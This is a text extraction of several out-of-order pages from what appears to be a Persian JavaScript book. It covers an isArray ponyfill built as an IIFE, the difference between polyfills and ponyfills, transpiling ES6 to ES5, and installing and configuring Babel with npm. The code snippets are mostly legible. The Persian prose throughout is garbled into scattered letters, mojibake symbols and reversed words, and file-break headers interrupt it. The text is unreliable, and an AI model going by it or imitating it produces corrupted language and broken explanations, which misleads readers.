¹
م
»
ز
» ²
کارب
²
¼رگ
²
م
Ù
ی
É
م·ک
þ²Ó
³²¹±¼
، ر
²æÁ ³
ش¾¿ م¾د مور
»³ ³
ر صورت ¼جو
³ ،²
ی
Ã
ا
± ³
ر
»³ ³
ک¶ م¾د ¼جو
Ù
ی
É
· م·ک
º
ر
²
ب
if
ØÍ
ب
هی
³·
م
µÐ
¼ج· بازگ
²Ã
ن
»
و
É
ب¶ ع
»
ر
²
¼رگ
²
م
³
¼ موجو
þ²Ó Ä
ی
Å
// isArray ponyfill Function
function
isArray
(
collection
) {
if
(
Array
.isArray) {
return
Array
.isArray(collection);
}
}
µ±²±
مد
»
ر
²
¼رگ
²
م
óº
¸و
isArray
· شدن م¾د
Á
ا
Î
¾ی
ÐÅ µ
ما حال
Ï
وش¾¶ شد
Á Û
ا ¸اب
ßɱ» ¶
¸ا ب
return
´»
ر
»³
if
ØÍ
ر ب
³ Û
چون ¸اب
( ³
ر
»
د
Á ³
¼جو
²Ì±³ µ
´ حال
»²
ب
else
Ä
یاز´ ب¶ بخ
Á ،
د
É
م·ک
وش¾¶
Á
، کد
²æÁ ³
ژگ· مور
±¼
ن
³¼×Ó» ´»²
ب
Ï
وش¾¶ شد
Á ·
وم
È
ک¶ ب¶ صورت ع
Ѽ»
¶ کد
¹¸
ز
» ìÅ )µº»
هی
³·
ر م
»²
م¶ کد ق
»³»
ر
³ ¼ ¶¾
ش
»³²
ب
»
ر
Ï
شد
// isArray ponyfill Function
function
isArray
(
collection
) {
if
(
Array
.isArray) {
return
Array
.isArray(collection);
}
return
Object
.prototype.toString.call(collection) ===
‘[object Array]’
;
}
ر عی¿
³ ¼ Ù±³×Á µº³ »
ر
ϳ
¾فا
º» ³
· مور
Â
ص
»
object
ما
Û
¿ ¸اب
±»
اشید، با
ÎÁ ´²Ì±³ ´
کدها
²æ¾É
م
.Ù±» ϳ»³ Ö
ا
ßÁ» »
ر
³
و
à ²æÁ ³
¼ظیف¶ مور
native
ز کدها´
» ϳ
¾فا
º»
با
Ñ
حا
ʲ
ش
Û
شدن ¸اب
ϳ
ز
»
بار صد
²
ک¶ با ه
µº» ¿±»
¼ آن
³
ر
»³ ³
¿ م¾د ¼جو
±»
ر
³ Ú
کوچ
ƹÐ
م
Ú± óÝÓ
¿±»
ز
» ´²
وگی
Â
´ ج
»²
، ب
³
ر
»
م·گذ
²
ی
â
ام¶ ¸ا
Á²
ب
ìÉ
ورم
Ӳв
ب
ç
¿ موضو
±» ¼ ³
م·شو
Ú
چ
Ï
ش¾¶ شد
»
گذ
²
¼رگ
²
· م
Á
ا
Î
¾ی
ÐÅ ·º
ر
²
ار ب
ι± ¶
ام
Á²
´ ب
»²
ج
»
ر زمان
³ ¶
ک
Ù
ی
É
ح· م·ک
»²
ط
closure
Ú± ×
ی
Á ç
موضو
و
ÐÁ
ر
»²¹¸ ø
¸فا
» ¿±» ²Ì±³ ¼ Ï
· شد
º
ر
²
ب
isArray
ز
»
172
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/175.html ================================================
´ آن
»²
ب
IIFE
Û
¸اب
Ú± ¼ Ù
ی
É
م·ک
Ʊ
د
θ
isArray
²
ب¶ م¾÷ی
»
ر
isArray
Û
¸اب
»
ب¾د
»
ار
¹É±» ´»²
ب
سی
±
و
Á ·
م
var
isArray = (
function
() {
})();
»
ر
if
ØÍ
با ب
²æÁ ³
کد مور
²
گ
» ìÅ ،³
م·شو
»²
ج
»
´ کار
»
ب¾د
»
ر
³ ¼ ¶
ام
Á²
´ ب
»²
ج
» ăÞ
ب¶ م
Û
¿ ¸اب
±»
å
ید ک¶ ما هی
É
ما ¸وج¶ ک
» ،³
م·شو
Ö
ا
ßÁ» ·º
ر
²
¼لی¶ ب
» ´»²
ج
» Ö
ا
ÌÉ
ار ه
ι± óÝÓ Ù
سی
±
و
É
ب
Û
¸اب
ÆÃ»³
í
ا
Å ¶
ل×¼م· ب
native
µ
´ حال
»²
ب
collection
´³¼
ک¶ ¼ر
»²
، چ
Ù
هی
³·ÈÁ
IIFE
Û
¿ ¸اب
±» ¶
´ ب
³¼
¼ر
µÐ
بازگ
µº» Û
¸اب
Ú± ¶
ک
»
ر
Array.isArray
¶ کد
¹¸ ³
و
Ã
ا
Ôɸ Ù
ی
Á»
¼ ما م·¸و
³
ر
»
د
Á
شدن
ϳ»³
:)³»³ µÐ
بازگ
²
ب¶ صورت م¾÷ی
»
ر
Û
ن ¸اب
»
م·¸و
µ
پ
±²¹º»¼
ر جا
³
چون
( Ù
هی
³
var
isArray = (
function
() {
if
(
Array
.isArray) {
return
Array
.isArray;
}
})();
´³¼
¼ر
Ú± ¶
ک
Ù
سی
±
و
Á·
م
Û
¸اب
Ú± ¶
ام
Á²
ب
²æÁ ³
¶ کد مور
¹¸
ر
³ ×
ی
Á
if
ز
» Ò
ار
à Ä
´ بخ
»²
ب
د:
É
ک
»²
ج
» »
ر
ponyfill
کد
ì
پ
º ¼
د
É
ک
µÓ
ا
±
ر
³
collection
var
isArray = (
function
() {
if
(
Array
.isArray) {
return
Array
.isArray;
}
return function
(
collection
) {
return
Object
.prototype.toString.call(collection) ===
‘[object Array]’
;
};
})();
»
ر
³
و
à ²æÁ ³
مور
ponyfill °
با
ìÉ
ورم
Ó²Å
گ· ¼ با
³
ا
º ¶
ب
Ù
ی
Á»
¿ کد م·¸و
±»
ا، با
α
بسیار ز
ز
» )²
¼رگ
²
م
(
· کد
±»²
ج
» ó
ی
Þ
¼ م
Ù
´ بدهی
³¼
¼ر
isArray
ب¶
²
گ
» ¶
¿ صورت ک
±» ¶
، ب
Ù
هی
³ Ö
ا
ßÁ»
ما
ponyfill
¿ صورت
±» ²
ی
õ
ر
³ ¼ ³
م·شو
»²
ج
»
if
ØÍ
ب
ÆÃ»³
د کد
É
· ک
Á
ا
Î
¾ی
ÐÅ
Array.isArray
173
Íä· ØÉ³
================================================ FILE: HTML/176.html ================================================
هد شد.
»
و
à »²
ج
»
isArray
([
12
]);
// support: Array.isArray([12])
// no-support: Object.prototype.toString.call([12]) ===
‘[object Array]’
[
Transpile
فهوم
±
ر
³ ¶
ک
»
ر
³
و
à ²æÁ ³
ها´ مور
íÍ
¼ ح¾· ک
Û
ب
»
¸و
Ù
ی
Á»
م·¸و
polyfill
ز
» ϳ
¾فا
º»
ک¶ با
Ù
ی
Á»³ ·
م
polyfill ´»²
ار´ ب
¹
ه
»
ما ر
» .Ù
ی
É
ک
ϳ
¾فا
º» ³
و
à ´
ها
Ïܼ²Å
ر
³
د
Á»Ï
¶ شد
Ç»
ر
»
ES
ز
» ²¸
د
±
سخ¶ها´ جد
Á
´»²
ج
» ăÞ
، چون ب¶ م
³
ر
»
د
Á ³
· ¼جو
ȱ
سخ¶ها´ قد
Á ´»²
د ب
±
سخ¶ جد
Á
syntax
ن
³²
ک
ponyfill
ا
±
م·شو
ê
ام¶ م¾وق
Á²
¼ ب
Ï
شد
Ï
اهد
Ð
م
syntax
ا´
äÃ
کد
ر´ ب¶ کدها´
»×
ب
»
ز
» ϳ
¾فا
º»
با
»
ر
ES
د
±
سخ¶ها´ جد
Á
با
Ï
وش¾¶ شد
Á ´
کدها
Ù
ور هس¾ی
Îß
م
ìÅ
، ک¶
³
گف¾¶ م·شو
Transpiling
ÆÈ
¿ ع
±» Ö
ا
ßÁ» ¶
ک¶ ب
Ù
ی
É
ک
Ʊ
د
θ
ES
·È±
سخ¶ها´ قد
Á Ö²Ó
با
م·باشد.
Compile
¼
Translate
ز
» ·
وط
Â
مخ
سخ¶ها´ ب¶ ر¼ز ¼
Á
ز
» ³
و
à ¶
ام
Á²
¶ ب
Õº
¶ ¸و
Â
ح
²
´ م
»²
ب
Ù±» ¶¾
س
Á»
ما ¸و
Û
ق
»¼
ر
³
Transpile
Ö
ا
ßÁ»
با
ما
» ،Ù
ش¾¶ باشی
»³ ´³»²±»
¼ بد¼ن
Û±²º ¶Õº
¸و
²
و½ آن مسی
Ã
ات
Á
ا
¹
م
»
¼ با
Ù
ی
É
ک
ϳ
¾فا
º»
ES
د
±
جد
Ú± ¶
ک
Ù
ی
É
ض¶ ک
²
ها ع
²
¼رگ
²
م
óº
· شدن ¸و
Á
ا
Î
¾ی
ÐÅ ¶õ
د
õ³ ¿¾
ش
»³
بد¼ن
»
ر
³
و
à ·±
ا
ÔÁ Ñ
و
àÞ
م
سو½ م·شو
Þ
´ ما م
»²
ب
transpile
Ö
ا
ßÁ» ´»²
ب
³
رها´ موجو
»×
ب
» µÈº
ز
» ú
ب×ر
êä
ل
:µº» ϳ
¾فا
º» Æ
قاب
ES6 ¶
سخ
Á
ر
³ ¶
ک
Û
¸اب
þ²Ó Ä
ی
Å ´³¼
شدن ¼ر
transpile
Ï
و
ÞÁ
ز
» Ñ
مثا
Ú±
function
myFunction
(
value = 12
) {
console
.log( value );
}
myFunction();
// 12
myFunction(
42
);
// 42
سخ¶ها´
Á ·Ã²
ر ب
³
ز
» ¿¹È
ما م
» ،µº» ÙÔÓ Æ
¼ قاب
ϳ
ا
º
بسیار
ø
و
Ó
ک¶ کد
Ù
ی
É
م·ک
Ï
اهد
Ð
م
174
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/177.html ================================================
Ù
ی
É
م·ک
Ʊ
د
θ ES5 ¶
ب
»
ر
²æÁ ³
، کد مور
transpiler
Ú±
با
ìÅ ،³
و
ÐÁ ·Á
ا
Î
¾ی
ÐÅ ·È±
ها´ قد
²
¼رگ
²
م
هد بو
»
و
à ²±
ز
Ö²Ó ¶
کد´ ب
ES5 ¶
ب
transpile
Ö
ا
ßÁ»
ز
» ìÅ
¼ج· کار
²Ã ¼
function
myFunction
() {
var
value =
arguments
[
0
]!== (
void
0
) ?
arguments
[
0
]:
12
;
console
.log( value );
}
±
Û
´ها´ ¸اب
³¼
ز ¼ر
» ¶±»
آر
Ú± ¶
ک
(
arguments
¶±»
ز آر
» ¶Á
ا
à ¿
خس¾ی
Á ،
کد
Ï
شد
Ʊ
د
θ ¶
سخ
Á
ک¶
void 0
¼ با
ϳ»³
ر
»²
· ق
º
ر
²
ب
³
مور
»
ر
) µº» í²¾º³ Æ
قاب
Û
· ¸اب
Âû³
scope
ر
³ ¼
م·باشد
ر
³ »
ر
þ²Ó Ä
ی
Å
ر
»
د
Ý
ن، م
³
بو
Ï
د
ÐÁ ê±²Õ¸
ر صورت
³ ¼ ϳ²
س¶ ک
±
ا
Ý
م·باشد م
undefined
ان
È
ه
د.
É
م·ک
ϲ
ی
Ãè ²
آن م¾÷ی
²º³
ر
³ ¶
ب
»
ام¶ ر
Á²
¶ ب
Õº
¸و
Ö
ا
ÌÉ
ر ه
³
ها´ آن
µ±×
شد ¼ م
ES6
ز
» ϳ
¾فا
º» ¶
ب
ÛÁ
ن قا
»
گ· م·¸و
³
ا
º ¶
ب
.³»³ ð
جی
²¸ )³
ر
»³ »
ر
Ú
¸وما¸ی
» ´»²
ج
» ·±
ا
Á»
ب¶ ¸و
û
فی
Á
کا
Ö
ا
ßÁ»
ک¶ با
(
ن
³²
ک
transpile
´»²
ب
Ö
ز
°
á²¾
د ¼ با گس
É
´ها´ ¼½ م·باش
Ü
ولو
ɹ¸ ´
یا
Á³
ز
» ²±
ذ
Å
ا
Á ·±»
· جد
Ð
ها بخ
transpiler
Ï
¼ز
²
م
»
´ شدن ¼
»¶Ó²
´ ح
»²
د ب
±
از ¼ کارها´ جد
º µ
س
±
، م·با
µ
پ
±²¹º»¼
جا
ê
¸وصی
Æ
قاب
²
ی
õ ¼ Û±²º
ی
É
ک
ϳ
¾فا
º» »
ز آنها ر
» ϳ
¾فا
º»
شد:
ϳ»³ ð
¸وضی
Ä
¿ بخ
±» Ʊ»¼»
ر
³ ¶
ک
arrow functions
Ï
ربار
³ ²Ì±³ Ñ
مثا
Ú±
ن
»
و
É
ب¶ ع
const
fn =
()
=>
1
;
// converted to
var
fn =
function
fn
() {
return
1
;
};
Ï
جاز
»
باشد. ¼ ب¶ ما
Ï
د
ÉÉ
ک
ÚÈ
د ک
Á»
بسیار م·¸و
transpiler
ر
»×
ب
»
ز
» ϳ
¾فا
º» ¶
ک
Ù
ی
É
م·ک
Ï
اهد
Ð
م
ی
É
ک
ϳ
¾فا
º» ³
و
à ¶
ام
Á²
ر ب
³ ²º³
ر
³
گ· بد¼ن
³
ا
º ¶
ب
»
ر
noitcnuf worra
د
ÉÁ
· ما
Á
ا
¹
م
»
هد
³
[
transpile
Æ
¼¸ا
²ç³²
»
ر
transpile
Ö
ا
ßÁ» ¶
· ک
±
رها
»×
ب
»
ک¶ با
µº» Ï
ید
º
آن ر
µ
¼ق
transpile
Ö
و
Ô
· با مف
±
ا
É
ز آش
» ìÅ
ی
É
م·ک
Ï
شار
»
ها
transpiler
¿±²¸ò¼²Õ
ب¶ م
²±
ر ز
³ ،Ù±
ا شو
É
د، آش
Á
ر
»³ Ï
د
Ô
ع
²
ب
175
Íä· ØÉ³
================================================ FILE: HTML/178.html ================================================
Á
پ
±²¹º»¼
´ جا
»²
ان ¼ م¾¿ باز ب
̱»
ر
²Â±
کامپا
Ú±
:
Babel
Á
¶ شد.
Ç»
ر
» Æ
گوگ
ò²
ز ط
» ¶
ک
ES6 ´»²
و½ ب
ÎÞ
م
transpiler
¼لی¿
»
:
Traceur
ð
¸وضی
Ù±
ر
»³
د
à
ی× ق
Á
م·باشد ¼ ما
traceur
ز
» ²¸°
با
µ
وبی
ÎÞ
¼ م
ϳ
¾فا
º»
ن
»×
می
ü
ا
Þ
ب¶ ل
babel
´»²
ب
éº
ا
É
سخ¶ها´ م
Á ´»²
ب
ES6+ Ï
وش¾¶ شد
Á ´
کدها
Ʊ
د
θ ¼
babel
با
Ïܼ²Å ç¼²
ش
Ï
ربار
³ ·Â
ک
ش¾¶ باشی
»³ »
ر
²
¼رگ
²
م
µÓ²Ð
ی
Å
هد ک¶ با
³·
م
ı
ا
ÈÁ 2018 Ñ
ا
º
ر
³ »
ر
babel
· هس¾¶
̾
هف
³
و
ÂÁ»³ ³»
د
Õ¸ ø
و
Ó Æ¹
ش
ر
»³ ´³
و
Õ
ص
Ï
ر
»
و
È
´ ه
²
¼ مسی
ϳ
بو
Ï»²È
´ ه
²
گی
ÙÐ
چ
[
Babel
ز
² µ
اد
Ö¿
س
²
یا´
Á³
ر
³
ر
»×
ب
» ¿±» ³²
ما کارک
» ،
د
ɾ
ش
»
د
Á
ر
»×
ب
» ¿±» ´»²
· ب
Î
جال
³
ا
±
ز
Ùº» ½
¾خا
Á» ¶
ک
µ
ن گف
»
م·¸و
ر هس
»
گذ
²
ی
â
¼ ¸ا
ÙÔ
ا م
Õ
ق
»¼ µ
پ
±²¹º»¼
· جا
ÂÕÓ
ر
³ »²
ج
» Æ
ب¶ کد´ ک¶ قاب
»
ر
ES6+ Ö²Ó ¶
ب
Ï
وش¾¶ شد
Á ´
کدها
Ù
ی
Á»
م·¸و
babel
ز
» ϳ
¾فا
º»
با
کدها´
syntax
Ʊ
د
θ
د
ɱ
آ
²Ó Æ
شدن شام
Ʊ
د
θ ¿±» ،Ù
ی
É
ک
Ʊ
د
θ ،
·باشد
ȱ
· ¼ قد
ÂÕÓ ´
ها
²
¼رگ
²
م
د م·باشد.
±
ژگ·ها´ جد
±¼
ن
³²
ک
polyfill ϼÍÕ
ب
Ï
وش¾¶ شد
Á
ش¾¶ باشید،
»³ éàÁ ³
و
à پ
یس
º ´¼
ر
²
ب
»
ر
3
node.js
»
ب¾د
» µ
س
±
م·با
babel
ز
» ϳ
¾فا
º» ´»²
ب
³
و
à Æ
عام
Ù¾
یس
º ´»²
ب
»
ر
LTS
سخ¶
Á ¿±²Ã
¼ آ
ϳ²
¶ ک
Õ
ج
»²
م
nodejs
µ±
¼بسا
í
ر
³
ید ب¶ آ
Á»
م·¸و
4
ید.
É
ک
éàÁ ¼ µÓ
ا
±
ر
³
3
https://nodejs.org/en/
babel
µÉ
کیوم
»³
ز
» Ï
¾¶ شد
Ó²
گ
²
ب
4
176
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/179.html ================================================
éàÁ
ز
»
ان
É
ی
È
ط
» ´»²
ب
command prompt
ا
±
terminal
ϲßÉÅ
ن
³²
با باز ک
nodejs
éàÁ
ز
» ìÅ
»
ر
Ù¾
یس
º ´¼
ر
²
ب
Ï
شد
éàÁ
nodejs
سخ¶
Á
ید ¸ا
É
ک
Ĉ±
¸ا
node -v
¾ور
º³ Ú±
node
Æ
ن کام
³
بو
د.
±
ر
»³
nodejs
· ب¶
º²¾º³
bash
ó
ی
Þ
م
ë±²
ز ط
» ¶
د ک
±
ئ¿ شو
Èä
¼ م
ϳ²
ک
Ï
اهد
Ð
م
²¾Ð
بی
(
parcel
ا
± )Ïܼ²Å ´»²
ب
(ÚÅ ½¼
د
ÉÁ
ما
bundler
ù
ی
¹Å Ú±
ز
»
babel
ز
» ϳ
¾فا
º» ´»²
ب
»²
کث
»
³
ا
± »
رها ر
»×
ب
» ¿±»
بد¼ن
babel
ز
» ϳ
¾فا
º»
ار
¹
ه
»
ر
Ä
¿ بخ
±»
ر
³
. ما
³
م·شو
ϳ
¾فا
º»)
ها
ù
ی
¹Å ´»²
ب
ید:
É
ک
»²
ج
» Ñ
ا
É
می
²¸ ó
ی
Þ
ر م
³
babel
ز
» ϳ
¾فا
º» ¼ éàÁ ´»²
ب
²±
کدها´ ز
ç¼²
´ ش
»²
. ب
Ù±²
م·گی
npm init -y
npm install --save-dev @babel/core @babel/cli @babel/pre-
set-env
npm install --save @babel/polyfill
´»²
¼ ب
³
ر
»³ Ö
ا
Á
npm
ک¶
³
و
à ò¼²Õ
م
²ß
ی
É
م
ù
ی
¹Å
ز
» ϳ
¾فا
º»
با
nodejs
ت
»
¾ور
º³ ¿±» ´»²
ج
»
با
éàÁ ·ÂÕÓ ²
ر مسی
³ »
ر
babel
یاز
Á ³
¼لی¶ مور
» ´
ها
ù
ی
¹Å ،³¼
ب¶ کار م·ر
node
ها´
ù
ی
¹Å µ±²±
مد
¾¶ م·شو
Ã
ا
º
node_modules
ن
»
و
É
´ با ع
»¶
وش
Å ،éàÁ
یات
ÂÈ
¿ ع
±» Ö
ا
ßÁ» ´»²
د ¼ ب
É
م·ک
هید:
³
ر
»²
ر آن ق
³ »
ر
²±
¾¶ ¼ کد ز
Ã
ا
º babel.config.js Ö
ا
Á
با
Ʊ
ا
Ó Ú±
const
presets = [
[
“@babel/env”
,
{
targets: {
edge:
“17”
,
fireFox:
“60”
,
chrome:
“67”
,
safari:
“11.1”
,
},
useBuiltIns:
“usage”
,
},
],
];
module
.exports = { presets };
سخ¶ ها´
Á
ید
Á»
ا م·¸و
È
د ¼ ش
É
· م·ک
Ó²Õ
ب¶ آن م
»
ر
babel
´»²
ج
» ´»²
¼لی¶ ب
»
ات
È
ی
æÉ¸ Ʊ
ا
Ó ¿±»
177
Íä· ØÉ³
================================================ FILE: HTML/18.html ================================================
¸¹±º
ر
²
´گفت
»
پ
د، بسیار لذت
±
شو
²
رگی
³
´ زبان
³²
کارک
µ
ر صور¸· ک¶ با ماهی
³ µ
پ
±²¹º»¼
´ زبان جا
²
گی
³
ا
±
¿ ک¾ا½
±»
ر
³ ¼
¿ زبان م·باشد
±» ¶
ب
À¾
ک¶ مخ
µº ·¸
ا
¹Á ²
¶ بخاط
Â
¿ مسئ
±» ،³
هد بو
»
و
à Ä
بخ
س· ¼
±
و
Á¶
ام
Á²
هید با ب
»
و
÷
ک¶ م
槯
¼لی¿ بار
» ²
گ
» ،³
¾¶ م·شو
û³²Å ÆÇ
¿ مسا
±»
ز
» ´
ب¶ بسیار
³
هد بو
»
و
à ·
ب
»
و½ ¼ جذ
à ½
¾خا
Á»
¾ان
±»²
ب
µ
پ
±²¹º»¼
جا
°
ا
Ⱦ
ح
» ،
د
±
ا شو
É
ب¶ آن آش
Ê
بو
²
یا´ م
Á³
Ë
ا
à ´
ژگ·ها
±¼
ز
» ·Ã²
¼ ب
µ
پ
±²¹º»¼
د، با جا
±³²
س· م·ک
±
و
Á¶
ام
Á²
´ ب
²Ì±³ ´
با زبانها
ÍÎ
ق
²
گ
» ¼
هید شد.
»
و
à ϳ
ز
µ
ف
Ì
آن ش
، موضوع·
³
هد بو
»
و
à ²
رگی
³
دت
Ð
ب
µ
پ
±²¹º»¼
س·، با جا
±
و
Á¶
ام
Á²
ب
Ï
د
ɱ
قو´ آ
Ñ
ا
Ⱦ
ح
» ¶
¶ ب
¹É±»
د ¼
Á» ϳ²
ک
Ï
شار
»
ور ب¶ آن
Ð
ز ک
» Ò
ار
Ã
ر
³ ¶
ور ¼ چ
Ð
ک
ÆÃ»³
ر
³ ¶
چ
³»²Ó»
ز
» ´
ک¶ بسیار
槯
د،
É
ش¾¶ باش
»³ Ï
د
ɱ
¿ آ
±»
ر
³ ·ÈÔº ¶
ک
µº» ϳ
¿ بو
±» ²
· شان ب
Õº Ö
ا
ȸ ×
ی
Á
ور
ÔÐ
ها´ م
µ
ک
²
ش
س·
±
و
Á¶
ام
Á²
´ ب
»²
و ¼ … ب
±¼ ،µ¹±
ر، ر
°
یو
ÌÁ»
د:
ÉÁ
ما
د´
Éȸ
¶ها´ قدر
Á
ها ¼ ک¾ابخا
Ø
¼ر
Ù±²Ó
ور
Ô
ظ
µÓ²Ð
ی
Å
²Ì±³ ·¾Èº
ز
» ¼ µÈº Ú±
ز
»
node.js
¼ر با
²º µÈº ·
س
±
و
Á¶
ام
Á²
ان ب
¹
م
» ،
front-end
م·باشد.
»²
¿ ماج
±» µ±
جد
Ï
د
É
ه
³
ان
ÐÁ ،Ù
ر مدت زمان ک
³
آنها
Û±²º
ک¶
³²
عا ک
³»
ن
»
م·¸و
²
حاض
Ñ
ر حا
³ µ
پ
±²¹º»¼
جا
²
· ب
ɾÎ
´ها´ م
Ü
ولو
ɹ¸ ¿¾Ó
ا
± ¶Õº
با ¸و
·±
ها
Ï
س· مدع· م·باشد، حوز
±
و
Á¶
ام
Á²
عات ¼ ب
Í
ط
» ´
ا¼ر
ÉÓ ´
ها
Ï
حوز
²
کث
»
ر
³
ا
α²Ý¸ µ
پ
±²¹º»¼
جا
… ¼ ½¼ µÞ¸ ´
ام¶ها
Á²
از´، ب
ß
م
µ
ی
Õ
ق
»¼ ،Ʊ
ام¶ها´ موبا
Á²
چی¿، ب
ØÍ
وع·، ب
Éà
م
á
د: هو
ÉÁ
ما
´»²
وب· ب
à ´
¶ها
Á
ش¾¶ ¼ ک¾ابخا
»³ ²
ی
â
ر آنها ¸ا
³ µ
پ
±²¹º»¼
¿ جا
±²
د ک¶ زبان شی
ɾ
· هس
±
ها
Ñ
مثا
.µº» Ï
از´ شد
º ϳ
یا
Å ¼ ·
ح
»²
ها ط
Ï
¿ حوز
±»
ر
³ ¶
ام
Á²
¶ ب
Õº
¸و
'Easy to learn, Hard to master'
´»¶Ó²
یدگ· ح
ã
ی
Å ¼ ´²
گی
³
ا
± ·
گ
³
ا
º ،¶
ک
»²
م·باشد چ
µ
پ
±²¹º»¼
ز زبان جا
» Æ
¶ ¼صف· کام
ÂÈ
¿ ج
±»
Ï
د
É
ه
³ ¶Õº
´ ¸و
³»
د
Õ¸
ز
» ²
گ
» ¶
´ ک
»¶Á
، ب¶ گو
槯
¿ زبان
±» Ë
ا
à ´
ژگ·ها
±¼
ز
» ·¹± ،
ر آن
³
ن
³
بو
·Â
ی
à »
ر
³
و
à ÄÁ»³
رصد
³ 80
ز
» Ä
بی
°
ا
Ⱦ
ح
» ،³
شو
Ñ»
و
º
پ¾·شان
±²¹º»¼
جا
ÄÁ»³ ³
ر مور
³ ½¼
س
Á»³
د
É
ه
»
و
à °
با
á͸
ن
»×
· ب¶ می
̾
، بس
³
هد بو
»
و
Ã
در
Ý
چ
²
دن ک¾ا½ حاض
Á»
و
Ã
با
³²Ó Ú± µÓ²Ð
ی
Å
ن
»×
¶ می
¹É±»
ی¿
ݱ Ûä
د ب¶ ق
Á»
·¸و
ÈÁ ·
ک¾اب
å
¼ هی
³
ر
»³ ²æÁ ³
مور
ç
´ موضو
²
ی
Ì
ی
Å ¼ ¶Õ
ال
ä
ر م
³ ³²Ó µº
ار
È
¼ م
¶ صد´
äÝÁ å
هی
µÝ
ی
Ý
ر ح
³ ،Ï
شد
²
ک
è é
ال
ä
ن م
³
بو
Æ
کام
²
ب
ϼÍ
د، چون ع
±
ا
ÈÁ
¸ا صد
²
عا´ صف
³»
ê¾
مخ
ÆÇ
مسا
ë
ی
È
ع
Ø
ر
³
د ¸ا
Á»
م·¸و
³²Ó ¼
باشد
ç
موضو
Ú±
یدن
º
ر
Ö
ا
ȸ» ¶
ک¶ ب
³
ر
»
د
Á ³
¼جو
ن
»
و
É
¼ظیف¶ م¿ ب¶ ع
ìÅ ،
د
É
ک
µÓ²Ð
ی
Å µº
ار
È
¿ ¼ م
±²È¸
د ¼ با
É
ک
é
کس
ÄÁ»³ ،¶
بوط
²
م
Ï
حوز
·¾Ó²Ð
ی
Å Ï
د
ÉÁ»
و
Ã
ن م·باشد، ¸ا
»¼
¼ ر
»
· شیو
¹
، ب¶ ش
é
ال
ä
م
Æ
¶ کام
Ç»
ر
» ²
· ب
Õº ½
ک¾ا
Ï
د
É
س
±
و
Á
ش¾¶ باشد.
»³ ²¸Û±²º
================================================ FILE: HTML/180.html ================================================
ò
هد
²
¼رگ
²
ازگار با م
º ¶
سخ
Á ¶
ا ب
È
هید ¸ا کدها´ ش
³ ¶Ç»
ر
»
ب¶ آن
»
ر
³
و
à ²æÁ ³
مور
ò
ها´ هد
²
¼رگ
²
م
شو
Ʊ
د
θ
د
±
بساز
src
Ö
ا
Á ¶
وش¶ ب
Å Ú±
کار
ç¼²
´ ش
»²
، ب
µº» Ï
ید
º
ر
Ö
ا
ȸ» ¶
ب
babel
Ù
ی
æÉ¸ ´»²
ا کار ما ب
α²Ý¸
³²
کارک
µ
´ ¸س
»²
ب
Ñ
´ مثا
»²
سید، ب
±
و
É
آن ب
ÆÃ»³ »
ر
³
و
à ¶
ام
Á²
ها´ ب
í
ور
º Í
د ک
Õ
¿ ب¶ ب
±»
ز
»
¸ا
سید:
±
و
É
ب
test
.
js
Ö
ا
Á ¶
· ب
±
ا
Ó é
ر قال
³ »
¶ شد ر
Ç»
ر
»
transpile
·Ó²Õ
´ م
»²
ان مثال· ک¶ ب
È
ه
babel
//./src/test.js
function
myFunction
(
value = 12
) {
console
.log( value );
}
myFunction();
// 12
myFunction(
42
);
// 42
ید
É
ک
³
ا
ß±»
dist
Ö
ا
Á ¶
ب
²Ì±³ ¶
وش
Šڱ Ʊ
ا
Ó ¿±» Ʊ
د
θ ´»²
ب
Ʊ
ا
Ó ¿±»
ن
³²
ک
ϲ
ی
Ãè ¼ µÃ
ا
º
ز
» ìÅ
ید:
É
ک
»²
ج
» Ñ
ا
É
می
²¸
ر
³ »
ر
²±
کد ز
ì
پ
º ¼
د
Á
شو
ÆÝ¾É
م
²
ب¶ آن مسی
Ï
شد
Ʊ
د
θ ´
ها
Ʊ
ا
Ó
¸ا
./node_modules/.bin/babel src --out-dir dist
û
فی
Á
کا
Ʊ
ا
Ó
ر
³ Ï
¶ شد
Ç»
ر
»
ات
È
ی
æÉ¸
با
ES5
ب¶ کد
src
²
ر مسی
³ ³
¿ کار کدها´ موجو
±» Ö
ا
ßÁ»
با
ç
¿ موضو
±»
شدن
Ö
ا
ßÁ» Ï
و
ÞÁ
ز
» ·¸
یا
Ç×
م¶ ج
»³»
ر
³ ،
د
Á²
ر م·گی
»²
ق
dist
وش¶
Å ²
ر مسی
³ ¼ Ï
شد
Ʊ
د
θ
ی
É
م·ک
²
ک
è »
ر
Ï
شد
»²
ج
»
ت
»
¾ور
º³ ³
ر مور
³ ·±
¾¶ها
¹Á ¼
[
babel
Æ
¸ا
Å
ماژو
ها´
ѼÜ
، ما
ê¾
ها´ مخ
ò
´ هد
»²
ب
babel
ù
ی
¹Å
ز
» ϳ
¾فا
º»
ر
³ ·
گ
³
ا
º ¼ ò
ا
äÕÁ» ³
ا
ß±» ´»²
ب
í²¾º³ Æ
قاب
npm
ر¼´
²
@ ب
babel
با
Ï
د
Á
شو
ç¼²
ش
scope
ر
³ ¶
د ک
Á»Ï
ح· شد
»²
ف· ط
¾
مخ
babel/
، ک¶ با
Ù±
ز
»³²Å·
م
cli
¼
core
ها´
ѼÜ
ب¶ ما
Ä
¿ بخ
±»
ر
³ )
د
Õ
ب¶ ب
7 ¶
سخ
Á
ز
»( .
د
É
م·باش
د.
É
· م·باش
º²¾º³ ¼ éàÁ Æ
@ قاب
babel/core
¼ @
cli
core
ÛÀä
ما
م·شو
éàÁ
د
Õ
¾ور ب
º³
م·باشد ک¶ با
Ö
ز
° ´
ها
Ʊ
د
θ Ö
ا
ßÁ» ´»²
ب
5
babel
هس¾¶
ѼÜ
¿ ما
±»
5 https://babeljs.io/docs/en/babel-core
178
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/181.html ================================================
npm install --save-dev @babel/core
¶ م·باشد.
Õº
¸و
ó
ی
Þ
ر م
³ ϳ
¾فا
º» ´»²
ب
óÝÓ ù
ی
¹Å ϲ
ی
Ãè ·ÉÕ
ب¶ م
--
dev-
flag، save
¿ کد
±»
ر
³
ش
»³
هد
»
خو
Á ³
¶ ¼جو
Á
¿ ک¾ابخا
±»
ز
» ´²â» ·±
ا
ÔÁ ·
¼ج
²Ã ó
ی
Þ
ر م
³ ¶
´ ک
»¶Á
ب¶ گو
´»²
ز آن ب
» ¼ ϳ²
ک
require
µ
پ
±²¹º»¼
ر کدها´ جا
³ »
ن آن ر
»
